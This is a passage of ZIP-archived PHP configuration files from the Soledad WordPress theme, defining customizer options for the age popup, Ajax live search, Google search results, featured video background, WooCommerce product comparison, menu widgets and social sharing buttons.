	'label'       => __( 'Popup Background Color', 'soledad' ),
	'type'        => 'soledad-fw-color',
	'description' => __( 'Set background image or color for age popup', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_bgrepeat',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Repeat', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'repeat'    => __('repeat','soledad' ),
		'repeat-x'  => __('repeat-x','soledad' ),
		'repeat-y'  => __('repeat-y','soledad' ),
		'no-repeat' => __('no-repeat','soledad' ),
		'initial'   => __('initial','soledad' ),
		'inherit'   => __('inherit','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgposition',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'left top'      => __( 'left top', 'soledad' ),
		'left center'   => __( 'left center', 'soledad' ),
		'left bottom'   => __( 'left bottom', 'soledad' ),
		'right top'     => __( 'right top', 'soledad' ),
		'right center'  => __( 'right center', 'soledad' ),
		'right bottom'  => __( 'right bottom', 'soledad' ),
		'center top'    => __( 'center top', 'soledad' ),
		'center center' => __( 'center center', 'soledad' ),
		'center bottom' => __( 'center bottom', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgsize',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Size', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'auto'    => __( 'auto', 'soledad' ),
		'length'  => __( 'length', 'soledad' ),
		'cover'   => __( 'cover', 'soledad' ),
		'contain' => __( 'contain', 'soledad' ),
		'initial' => __( 'initial', 'soledad' ),
		'inherit' => __( 'inherit', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgscroll',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Scroll', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'scroll'  => __( 'scroll', 'soledad' ),
		'fixed'   => __( 'fixed', 'soledad' ),
		'local'   => __( 'local', 'soledad' ),
		'initial' => __( 'initial', 'soledad' ),
		'inherit' => __( 'inherit', 'soledad' ),
	]
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_agepopup_width_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'       => __( 'Popup Width', 'soledad' ),
	'description' => __( 'Set width of the age popup in pixels.', 'soledad' ),
	'id'          => 'penci_agepopup_width_desktop',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_agepopup_width_desktop',
		'mobile'  => 'penci_agepopup_width_mobile',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_agepopup_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_txt_msize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'label'    => __( 'Popup Text Size on Mobile', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_txt_size',
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Popup Text Size', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_agepopup_txt_size',
		'mobile'  => 'penci_agepopup_txt_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_agepopup_bordercolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_hcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_hbgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_hcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_hbgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_spacing',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-box-model',
	'label'    => __( 'Popup Spacing', 'soledad' ),
	'choices'  => array(
		'margin'       => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

return $options;
PK     0w\r	#  #  F  customizer/config/sections/pencidesign_general_search_page_section.phpnu [        <?php
$options = [];

$options[] = array(
	'label'    => esc_html__( 'Search Post Types', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading_01',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'Include Pages on Search Results', 'soledad' ),
	'id'       => 'penci_include_search_page',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => esc_html__( 'Ajax Live Search', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'Enable Ajax Live Search', 'soledad' ),
	'id'       => 'penci_ajxs_enable',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Show Post Thumbnail', 'soledad' ),
	'id'       => 'penci_ajxs_thumb',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Show Post Format Icon', 'soledad' ),
	'id'       => 'penci_ajxs_fmat_icon',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Show Post Date', 'soledad' ),
	'id'       => 'penci_ajxs_date',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Maximum Return Items', 'soledad' ),
	'id'       => 'penci_ajxs_count',
	'type'     => 'soledad-fw-number',
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Limit Post Title Words', 'soledad' ),
	'id'       => 'penci_ajxs_title_words',
	'type'     => 'soledad-fw-number',
	'default'  => 8,
	'sanitize' => 'penci_sanitize_number_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => esc_html__( 'Ajax Live Search Font Size', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading_02',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_ajaxsearch_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ajaxsearch_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_ajaxsearch_meta_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ajaxsearch_meta_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Search Notice', 'soledad' ),
	'id'       => 'penci_ajaxsearch_notice_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ajaxsearch_notice_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => esc_html__( 'Ajax Live Search Style', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading_03',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_title_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_title_hcl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_meta_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Hover Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_meta_hcl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Notice Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_notice_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_borders_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Result Item Background Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_bg_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => esc_html__( 'Google Search Result', 'soledad' ),
	'id'       => 'penci_gsr_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
);

$options[] = array(
	'label'    => __( 'Replace WordPress Search Result by Google Search', 'soledad' ),
	'id'       => 'penci_gsr_enable',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'       => __( 'Google Search Engine ID', 'soledad' ),
	'id'          => 'penci_gsr_id',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'description' => __( 'Register to Google Custom Search Engine and get your Google Search Engine ID here: <a class="wp-customizer-link" href="https://www.google.com/cse/" target="_blank">https://www.google.com/cse/</a>', 'soledad' ),
	'active_callback' => [
		[
			'setting'  => 'penci_gsr_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Show Google Search Form on Search Result Page', 'soledad' ),
	'id'       => 'penci_gsr_searchform',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_gsr_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Open Search Result In:', 'soledad' ),
	'id'       => 'penci_gsr_target',
	'type'     => 'soledad-fw-select',
	'default'  => '_self',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => [
		'_self'  => 'Same Tab',
		'_blank' => 'New Tab',
	],
	'active_callback' => [
		[
			'setting'  => 'penci_gsr_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

return $options;
PK     0w\?IP	  P	  I  customizer/config/sections/pencidesign_section_fvideo_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Enable Featured Video Background', 'soledad' ),
	'id'       => 'penci_enable_featured_video_bg',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Background Image Display Replace Video On Tablet & Mobile', 'soledad' ),
	'id'       => 'penci_featured_video_img_mobile',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image'
);
$options[] = array(
	'label'    => __( 'Video Youtube URL', 'soledad' ),
	'id'       => 'penci_featured_video_url',
	'type'     => 'soledad-fw-text',
	'sanitize' => 'esc_url_raw'
);
$options[] = array(
	'label'    => __( 'Featured Video Background Height', 'soledad' ),
	'id'       => 'penci_featured_video_height',
	'default'  => '600',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_video_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '600',
		),
	),
);
$options[] = array(
	'label'       => __( 'Start Video At', 'soledad' ),
	'description' => __( 'Unit is second', 'soledad' ),
	'id'          => 'penci_featured_video_start',
	'default'     => '0',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_featured_video_start',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 's',
			'default' => '0',
		),
	),
);
$options[] = array(
	'label'    => __( 'Add Custom Image on Video Background', 'soledad' ),
	'id'       => 'penci_featured_video_image',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-text'
);
$options[] = array(
	'label'    => __( 'Heading Text On Video Background', 'soledad' ),
	'id'       => 'penci_featured_video_text_heading',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text'
);
$options[] = array(
	'label'    => __( 'Sub Heading Text On Video Background', 'soledad' ),
	'id'       => 'penci_featured_video_sub_heading',
	'type'     => 'soledad-fw-textarea',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field'
);

return $options;
PK     0w\OO
    G  customizer/config/sections/pencidesign_woo_compare_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable compare', 'soledad' ),
	'description'=>__('Enable compare functionality built in with the theme.','soledad'),
	'id'          => 'penci_woocommerce_compare',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'id'       => 'penci_woo_shop_hide_compare_icon',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Header Compare Icon', 'soledad' ),
	'type'     => 'soledad-fw-toggle'
);
if ( function_exists( 'penci_get_pages_option' ) ) {
	$options[] = array(
		'default'     => '',
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Compare page', 'soledad' ),
		'description'=>__('Select a page for the compare table. It should contain the shortcode: [penci_compare_table]','soledad'),
		'id'          => 'penci_woocommerce_compare_page',
		'type'        => 'soledad-fw-select',
		'choices'     => penci_get_pages_option(),
	);
}
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show button on product grid', 'soledad' ),
	'description'=>__('Display compare product button on all products grids and lists.','soledad'),
	'id'          => 'penci_woocommerce_compare_show',
	'type'        => 'soledad-fw-toggle',
);


$product_attributes = array();

if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
	$product_attributes = wc_get_attribute_taxonomies();
}


$attr_options = array(
	'description'  => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_desc' ),
		'value' => 'description',
	),
	'dimensions'   => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_demensions' ),
		'value' => 'dimensions',
	),
	'weight'       => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_weight' ),
		'value' => 'weight',
	),
	'availability' => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_availability' ),
		'value' => 'availability',
	),
	'sku'          => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_sku' ),
		'value' => 'sku',
	),

);

if ( count( $product_attributes ) > 0 ) {
	foreach ( $product_attributes as $attribute ) {
		$attr_options[ 'pa_' . $attribute->attribute_name ] = array(
			'name'  => wc_attribute_label( $attribute->attribute_label ),
			'value' => 'pa_' . $attribute->attribute_name,
		);
	}
}


$options[] = array(
	'default'     => '',
	'type'        => 'soledad-fw-multi-check',
	'sanitize'    => 'penci_sanitize_multiple_checkbox',
	'label'       => __( 'Select compare fields', 'soledad' ),
	'description'=>__('Check a fields display on compare page.','soledad'),
	'id'          => 'penci_woocommerce_compare_fields',
	'multiple'    => 999,
	'choices'     => $attr_options,
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Quick Text Translate', 'soledad' ),
	'id'       => 'penci_woo_section_compare_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_trans_compare_empty_title',
	'default'  => 'Compare list is empty.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Empty compare heading text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'     => 'No products added in the compare list. You must add some products to compare them.<br> You will find a lot of interesting products on our "Shop" page.',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Empty compare text', 'soledad' ),
	'description'=>__('Text will be displayed if user don\'t add any products to compare','soledad'),
	'id'          => 'penci_woocommerce_compare_empty_text',
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     0w\`U#S  S  =  customizer/config/sections/penci_menu_hbg_widgets_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Space Between Widgets', 'soledad' ),
	'id'       => 'penci_mhbg_widget_margin',
	'ids'      => array(
		'desktop' => 'penci_mhbg_widget_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Widget Heading', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Widget Heading Text Size', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_size',
	'ids'      => array(
		'desktop' => 'penci_mhbgwidget_heading_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Style', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __( 'Default', 'soledad' ),
		'style-1'           => __( 'Style 1', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_image_9',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading9_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __( 'No Repeat', 'soledad' ),
		'repeat'    => __( 'Repeat', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Align', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''               => __( 'Default', 'soledad' ),
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align Icon on Style 15', 'soledad' ),
	'id'       => 'penci_hbg_icon_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''              => __( 'Default( follow Sidebar )', 'soledad' ),
		'pciconp-right' => __( 'Right', 'soledad' ),
		'pciconp-left'  => __( 'Left', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Icon on Style 15', 'soledad' ),
	'id'       => 'penci_hbg_icon_design',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''             => __( 'Default( follow Sidebar )', 'soledad' ),
		'pcicon-right' => __( 'Arrow Right', 'soledad' ),
		'pcicon-left'  => __( 'Arrow Left', 'soledad' ),
		'pcicon-down'  => __( 'Arrow Down', 'soledad' ),
		'pcicon-up'    => __( 'Arrow Up', 'soledad' ),
		'pcicon-star'  => __( 'Star', 'soledad' ),
		'pcicon-bars'  => __( 'Bars', 'soledad' ),
		'pcicon-file'  => __( 'File', 'soledad' ),
		'pcicon-fire'  => __( 'Fire', 'soledad' ),
		'pcicon-book'  => __( 'Book', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Widget Heading', 'soledad' ),
	'id'       => 'penci_mhbgwidget_remove_border_outer',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Widget Heading', 'soledad' ),
	'id'       => 'penci_mhbgwidget_remove_arrow_down',
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     0w\tی~  ~  I  customizer/config/sections/pencidesign_general_social_sharing_section.phpnu [        <?php
$options           = [];
$list_block_social = array(
	'plike'       => array( esc_html__( 'Hide Like Post', 'soledad' ), '' ),
	'facebook'    => array( esc_html__( 'Hide Facebook Share Button', 'soledad' ), '' ),
	'twitter'     => array( esc_html__( 'Hide Twitter Share Button', 'soledad' ), '' ),
	'pinterest'   => array( esc_html__( 'Hide Pinterest Share Button', 'soledad' ), '' ),
	'linkedin'    => array( esc_html__( 'Hide Linkedin Share Button', 'soledad' ), '' ),
	'tumblr'      => array( esc_html__( 'Hide Tumblr Share Button', 'soledad' ), '' ),
	/* 'messenger'        => array( esc_html__( 'Hide Share Messenger Button', 'soledad' ), '' ), */
	'vk'          => array( esc_html__( 'Hide VKontakte Share Button', 'soledad' ), '' ),
	'ok'          => array( esc_html__( 'Hide Odnoklassniki Share Button', 'soledad' ), '' ),
	'reddit'      => array( esc_html__( 'Hide Reddit Share Button', 'soledad' ), '' ),
	'stumbleupon' => array( esc_html__( 'Hide Stumbleupon Share Button', 'soledad' ), '' ),
	'threads'     => array( esc_html__( 'Hide Threads Share Button', 'soledad' ), '' ),
	'bluesky'     => array( esc_html__( 'Hide Bluesky Share Button', 'soledad' ), '' ),
	'whatsapp'    => array(
		esc_html__( 'Hide Whatsapp Share Button', 'soledad' ),
		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'telegram'    => array(
		esc_html__( 'Hide Telegram Share Button', 'soledad' ),
		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'line'        => array(
		esc_html__( 'Hide LINE Share Button', 'soledad' ),
		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'pocket'      => array( esc_html__( 'Hide Pocket Share Button', 'soledad' ), '' ),
	'skype'       => array( esc_html__( 'Hide Skype Share Button', 'soledad' ), '' ),
	'viber'       => array(
		esc_html__( 'Hide Viber Share Button', 'soledad' ),
